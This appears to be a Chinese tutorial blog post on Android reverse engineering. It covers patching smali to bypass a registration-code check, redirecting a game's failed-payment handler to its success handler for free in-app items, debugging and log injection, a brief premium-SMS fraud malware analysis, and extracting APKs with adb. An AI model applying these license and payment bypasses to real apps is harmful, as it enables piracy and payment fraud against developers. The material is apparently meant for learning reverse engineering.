grep -r "无效用户名或注册码"
grep -r unsuccessed
grep -r 0x7f0c0028

MainActivity$1.smali中找到调用checkSN()方法进行注册码合法性检查的代码:

其中smali代码判断输入的注册码是否正确:

#将checkSN方法返回的布尔类型值保存到p1参数寄存器中
move-result p1
#将0x0放入v0
const/4 v0, 0x0
# 对p1寄存器进行判断,如果值不为0(条件真)就跳转到cond_0,反之则继续运行
if-nez p1, :cond_0

如果smali代码不跳转,执行以下代码:

#iget-object指令获取MainActivity实例的引用,其中->this$0是内部类MainActivity$1中的一个synthetic字段,存储父类MainActivity引用
.line 32
iget-object p1, p0, Lcom/example/test/MainActivity$1;->this$0:Lcom/example/test/MainActivity;

#将unsuccessed值传入V1寄存器
const v1, 0x7f0c0028
#调用Toast;->makeText()方法创建字符串
invoke-static {p1, v1, v0}, Landroid/widget/Toast;->makeText(Landroid/content/Context;II)Landroid/widget/Toast;

move-result-object p1
#显示unsuccessed的字符串值
.line 33
invoke-virtual {p1}, Landroid/widget/Toast;->show()V

代码跳转则执行如下代码:

更改跳转指令

综上分析可得出if-nez p1, :cond_0是关键,if-nez是Dalvik指令集中的一个条件跳转指令(类似的有if-eqzif-gezif-lez等)。如果要使得跳转逻辑发生改变,那就修改if-nez为与之相反的if-eqz,表示比较结果为0或相等时跳转。

回编译APK

使用apktool回编译为unsign.apk:

java -jar apktool_2.4.1.jar b outdir -o unsign.apk

签名回编译APK

使用Android Killer对回编译的未签名APK做签名:

成功注册

将回编译且已签名的APK成功安装到模拟器中,且注册该程序成功:

或者开启Android调试环境,使用adb命令安装回编译签名的apk到Android Studio的调试仿真器中,运行成功:

adb install D:\AndroidPractices\test\release\unsign_sign.apk

总结:该破解流程为反编译->分析->修改跳转逻辑->回编译->签名

破解切水果大作战

APK链接:https://pan.baidu.com/s/1pMrYft5 密码:lper

测试游戏

先测试该游戏,使用道具时会发现报错支付失败,请稍后重试

分析

如果要使得可购买道具玩耍游戏,思路有:

  • 将取消购买的代码逻辑改为购买道具成功
  • 购买道具失败和扣费失败的逻辑改为购买道具成功

反编译APK

在反编译的代码文件/smali/com/mydefinemmpay/tool/MymmPay.smali中找到购买失败的unicode码为\u8d2d\u4e70\u5931\u8d25

并在该文件中定位到字符所在payResultFalse()方法中:

将smali代码转换为java代码,可看到payResultFalse()紧接的是payResultSuccess()

更改代码逻辑

若是将调用payResultFalse()方法的地方改为调用payResultSuccess(),即就可以达到破解目的。

回签名

回编译->签名->安装->测试->破解成功(道具无限免费购买):

动态调试smali

反编译APK

反编译生成smali代码:

从反编译的AndroidManifest.xml文件中可知该APK的包名为hfdcxy.com.myapplication,入口Activity为hfdcxy.com.myapplication.MainActivity

调试APK的时候,若没有android:debuggable="true",需要加上该代码以开启调试模式:

在手机上安装需调试的APK:

adb install jwx02.apk

导入Smali代码

导入反编译的Smali代码:

Ctrl+Alt+Shift+S快捷键配置SDK:

Add Configuration添加配置,更改端口为8700

设置手机调试状态

可在命令行下输入以下命令使得手机进入调试状态,然后在电脑上的AS附加进程就可调试:

adb shell am start -D -n hfdcxy.com.myapplication/hfdcxy.com.myapplication.MainActivity

或者直接在手机端配置,选择调试应用,然后在手机上打开该程序,再到电脑上的AS附加进程就可调试:

附加进程

此时手机出现Waiting For Debugger...

在AS上附加需调试的进程:

调试代码

此时手机上进入程序调试的界面,输入用户名为test,密码为1335

在34行的const-string v0, "hfdcxy"代码处下断点:

手机上点击登录,程序断在设置的断点处,在底部的调试界面可看到输入的用户名和密码:

在watch窗口添加需要观察的v0寄存器,可看到v0寄存器此时的值:

总结:反编译->导入smali代码->设置工程属性->设置手机调试状态->下断点调试

在smali代码中插入log

在smali中插入Log

编写程序,在MainActivity里面写一段switch case语句:

package hfdcxy.com.myapplication;

import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.widget.Switch;

public class MainActivity extends AppCompatActivity {
    //定义String类型的全局变量name
    String name ;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        //赋值name
        name = "丑小鸭";
switch (name)
{
    //如果name的值为丑小鸭,程序执行,直到遇到break结束
    case "丑小鸭":
        //打印log,Log有两个参数,第一个参数的值是Hello,第二个参数的值是会费的丑小鸭
        Log.i("Hello","会飞的丑小鸭");
        break;
    case "小天鹅":
        Log.i("Hello","会飞的小天鹅");
        break;
    case  "唐老鸭":
        Log.i("Hello","唐老鸭不会飞");
        break;
     //如果name的值不为case后面的值,程序执行到此,遇到break、switch语句结束
    default:
        Log.i("Hello","没有符合的name值");
        break;
}
    }
}

方框处为Log.i("Hello","会飞的丑小鸭"),如果将该处代码复制到其他smali代码处,只要程序运行到该处,就会打印出这句字符串。

    const-string v0, "Hello"

    const-string v1, "\u4f1a\u98de\u7684\u4e11\u5c0f\u9e2d"

    invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I

在上述的三行代码下添加以下smali代码(更改的字符串为我是添加的smali代码):

const-string v0, "Hello"

const-string v1, "\u6211\u662f\u6dfb\u52a0\u7684smali\u4ee3\u7801"

invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I

并将smali代码回编译,且签名,安装到模拟器中。打开该程序后,AS中打印出字符串我是添加的smali代码

使用log打印变量

下面代码中定义了onCreate()方法中执行fun1()fun2()fun3()、,并且在下面加入一条Log函数打印fun1()返回值。Log.i()两个参数必须是String类型:

package hfdcxy05.com.myapplication;

import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        fun1();
        fun2();
        fun3();
        Log.i("这个值是",String.valueOf(fun1()));

    }
    public int fun1()
    {
        int value = Test.value;
        return value;
    }
    public int fun2()
    {
        int value2 = Test.value2;
        return value2;
    }
    public String fun3()
    {
        String str = Test.str;
        String str2 = Test.str2;
        int value3 = Test.value3;
        return str2;
    }

}

由于fun3()的返回值已经是字符串,就不用再强行类型转换,直接使用Log.i()打印即可

 .line 16
    const-string v0, "\u8fd9\u4e2a\u503c\u662f"

    invoke-virtual {p0}, Lhfdcxy05/com/myapplication/MainActivity;->fun1()I

    move-result v1

    invoke-static {v1}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;

    move-result-object v1

    invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I

#“这个值”的字符串Unicode是\u8fd9\u4e2a\u503c\u662f
    const-string v0, "\u8fd9\u4e2a\u503c\u662f"

    invoke-virtual {p0}, Lhfdcxy05/com/myapplication/MainActivity;->fun2()I

    move-result v1

    invoke-static {v1}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;

    move-result-object v1

    invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I


    const-string v0, "\u8fd9\u4e2a\u503c\u662f"

    invoke-virtual {p0}, Lhfdcxy05/com/myapplication/MainActivity;->fun3()Ljava/lang/String;

    move-result-object v1

    invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I

运行程序打印出三个变量的返回值:

添加打印fun3的value值的smali代码:

    const-string v0, "\u8fd9\u4e2a\u503c\u662f"  #字符串:"这个值是:"

    invoke-static {v2}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;  #强制类型转换String.valueOf(fun1())

    move-result-object v1 #将强制转换的结果放入v1

    invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I #执行函数Log.i(str1,str2)

打印fun3的value成功:

添加打印fun3的str值的smali代码:

    const-string v3, "\u8fd9\u4e2a\u503c\u662f"  #字符串:"这个值是:"

    invoke-static {v3, v0}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I #执行函数Log.i(str1,str2)

打印Log成功:

扣费恶意APK分析

0x01https://www.hybrid-analysis.com/sample/55da412157e93153e419c3385ebcd5335bd0d0c3f77a75e2d2413dd128270be2?environmentId=200 下载样本55da412157e93153e419c3385ebcd5335bd0d0c3f77a75e2d2413dd128270be2(ThaiCamera.apk)

该恶意程序是高级短信欺诈软件(premium sms faurd apk)。高级短信欺诈软件是在用户不知晓的情况下,发送简码(捐赠码、订阅码等)的短信给运营商或者是其他的一些广告商、捐赠机构,产生巨额费用。

0x02 在命令行中输入jadx-gui,打开jadx,选择样本:

jadx反编译apk得到:

0x03 确认该程序为Premium SMS Fraud:

  • 发送短信:sendTextMessagesendMultipartTextMessage
  • 发送短信简码到一些特殊号码

使用jadx的文本搜索sendTextMessage,找到两个地方调用这个API:

并且找到com.cp.camera.Loadingcom.cp.camera.BootService类:

sendTextMessage的函数结构如下:

sendTextMessage(String destinationAddress, String scAddress, String text, PendingIntent sentIntent, PendingIntent deliveryIntent)

应用导出

APK 文件的存储位置

  • /data/app/:用户安装的应用存放在该目录。该位置处所有文件全局可读,任何人可复制,不需要额外权限
  • /system/app/: 系统镜像自带的应用会存放在该目录,所有文件全局刻度,任何可复制,不需要额外权限。
  • /data/app-private:设备上禁止复制的应用都存放在该目录,没有高权限无法复制。

导出已安装应用程序

使用adb命令导出

导出APK:

//查看指定设备安装的包
adb -d shell pm list packages

//查看outline包名对应的APK路径
adb -d shell pm path org.outline.android.client

//导出apk
adb -d pull /data/app/org.outline.android.client-X-zvolLHhSni5wplDgWHCA==/base.apk

安装导出的APK成功:

使用AS导出

依次点击 View > Tool Windows > Device File Explorer 或点击工具窗口栏中的 Device File Explorer按钮 以打开 Device File Explorer,然后按照adb shell pm path命令找出的路径导出apk:

Refer


Similar Posts

Comments